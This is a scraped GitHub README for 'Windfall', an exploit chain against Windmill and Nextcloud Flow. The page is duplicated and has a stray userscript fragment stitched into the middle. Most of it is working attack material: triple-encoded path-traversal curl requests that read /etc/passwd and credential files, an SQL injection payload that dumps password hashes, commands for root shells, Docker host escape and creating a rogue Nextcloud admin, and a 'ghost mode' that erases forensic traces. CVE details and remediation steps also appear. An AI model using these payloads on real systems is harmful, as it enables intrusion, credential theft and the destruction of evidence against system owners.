SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

